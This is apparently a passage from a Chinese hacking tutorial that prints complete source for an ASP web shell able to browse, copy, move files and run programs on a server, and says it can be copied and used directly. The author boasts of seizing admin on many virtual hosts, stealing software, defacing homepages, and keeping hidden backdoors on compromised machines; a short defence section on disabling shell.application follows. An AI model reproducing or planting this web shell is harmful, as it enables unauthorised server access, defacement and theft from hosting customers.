接下来让我们再来看下一款asp后门木马程序的代码:
<%response.write "<font size=6 color=red>一次只能执行一个xx作</font>" %>
<%response.write now()%><br>程序所在的物理路径:
<%response.write request.servervariables("appl_physical_path")%>
<html>
<title>asps shell.application backdoor </title>
<body>
<form action="<%= request.servervariables("url") %>" method="post">
<input type=text name=text value="<%=szcmd %>"> 输入要浏览的目录<br>
<input type=text name=text1 value="<%=szcmd1 %>">
copy
<input type=text name=text2 value="<%=szcmd2 %>"><br>
<input type=text name=text3 value="<%=szcmd3 %>">
move
<input type=text name=text4 value="<%=szcmd4 %>"><br>
路径:<input type=text name=text5 value="<%=szcmd5 %>">
程序:<input type=text name=text6 value="<%=szcmd6 %>"><br>
<input type=submit name=sb value=发送命令>
</form>
</body>
</html>
<%
szcmd = request.form("text") 目录浏览
if (szcmd <> "") then
set shell=server.createobject("shell.application") 建立shell对象
set fod1=shell.namespace(szcmd)
set foditems=fod1.items
for each co in foditems
response.write "<font color=red>" & co.path & "-----" & co.size & "</font><br>"
next
end if
%> <%
szcmd1 = request.form("text1") 目录拷贝,不能进行文件拷贝
szcmd2 = request.form("text2")
if szcmd1<>"" and szcmd2<>"" then
set shell1=server.createobject("shell.application") 建立shell对象
set fod1=shell1.namespace(szcmd2)
for i=len(szcmd1) to 1 step -1
if mid(szcmd1,i,1)="" then
path=left(szcmd1,i-1)
exit for
end if
next
if len(path)=2 then path=path & ""
path2=right(szcmd1,len(szcmd1)-i)
set fod2=shell1.namespace(path)
set foditem=fod2.parsename(path2)
fod1.copyhere foditem
response.write "command completed success!"
end if
%> <%
szcmd3 = request.form("text3") 目录移动
szcmd4 = request.form("text4")
if szcmd3<>"" and szcmd4<>"" then
set shell2=server.createobject("shell.application") 建立shell对象
set fod1=shell2.namespace(szcmd4) for i=len(szcmd3) to 1 step -1
if mid(szcmd3,i,1)="" then
path=left(szcmd3,i-1)
exit for
end if
next
if len(path)=2 then path=path & ""
path2=right(szcmd3,len(szcmd3)-i)
set fod2=shell2.namespace(path)
set foditem=fod2.parsename(path2)
fod1.movehere foditem
response.write "command completed success!"
end if
%>
<%
szcmd5 = request.form("text5") 执行程序要指定路径
szcmd6 = request.form("text6")
if szcmd5<>"" and szcmd6<>"" then
set shell3=server.createobject("shell.application") 建立shell对象
shell3.namespace(szcmd5).items.item(szcmd6).invokeverb
response.write "command completed success!"
end if
%>
要查看目录,只要输入相应的目录,点发送命令就可以了。这个木马程可以完成文件的copy、move,和执行程序。但很多命令都不能用,例如:del.net.netstat等。这个木马程的功能随然简单,但是用它来黑一个网站是足够了。比如,我们可以把网站的首页move到其它地方,然后我们再copy一个同名的黑客网页进去,就行了。
最要命的是这个木马适用于任何虚拟主机之中,也就是说我只要是服务器中的一个虚拟空间的用户,我就可以传这个木马上去,并用它来修改其它任何用户的主页。所以如果哪些提供虚拟空间的服务商没有打补丁的话,那真是死定了。
然而在我的实践中发现,中国很多的虚拟空间服务商,特别是一些小型的服务商都没有打补丁。我利用这一漏洞拿到了很多虚拟空间服务器的admin,然后好心的帮他们补上漏洞。当然我也得到了我想得到的东西——很多好的软件和代码。我现在用着的很多asp程序就是从他们那上面偷下来,太难听了,应该说down下来的才对。
言归正传,我们应该怎样来防范这个asp后门木马程序呢?让我们看一下它其中的这一句代码:
set shell=server.createobject("shell.application")
跟刚才的方法一样,我们只要把"shell.application"项和"shell.application.1"项改名或删除就可以了。记住了,如果是改名,要改得复杂一点,不要让黑客们一下就猜到了。顺便说一句,如果是你给肉鸡打补丁最好是改名,并把名字记下来,这样也就成为自己一个隐密的后门了。最后对这两款asp木马后门,以及如何防范asp木马后门做一下总结:第一款木马功能上强大一些, 但适用范围窄,需要fso支持也就是"scripting.filesystemobject"项的支持。第二款木马虽然功能上少一些,但它创建的是"shell.application"对象。在任何虚拟主机中都适用。(这一点危害确实太大了,提供支持asp空间的管理员们,你们可得注意了!)
其实跟据对上面两款asp木马后门的防范,大家可能已经想到了,对于asp后门木马的防范,我们只要在注册表中把"shell.application"、"wscript.shell"等危险的脚本对象(因为它们都是用于创建脚本命令通道的)进行改名或删除,也就是限制系统对“脚本shell”的创建,asp木马也就成为无本之木、无米之炊,运行不起来了。
注:以上代码复制保存为asp文件就可以直接使用了。
Java Asp PHP .Net XML C/C++ CGI VB Jsp J2ee J2se J2me EJB Servlet Tomcat Resin Struts Weblogic Eclipse ANT GUI JMS Web servise IDEA Webphere Hibernate Spring Jboss Applet Swing Socket Javamail Perl Ajax P2P 安全 模式 框架 测试 开源 游戏
Windows XP Windows 2000 Windows 2003 Windows Me Windows 9.x Linux UNIX 注册表 操作系统 服务器 应用服务器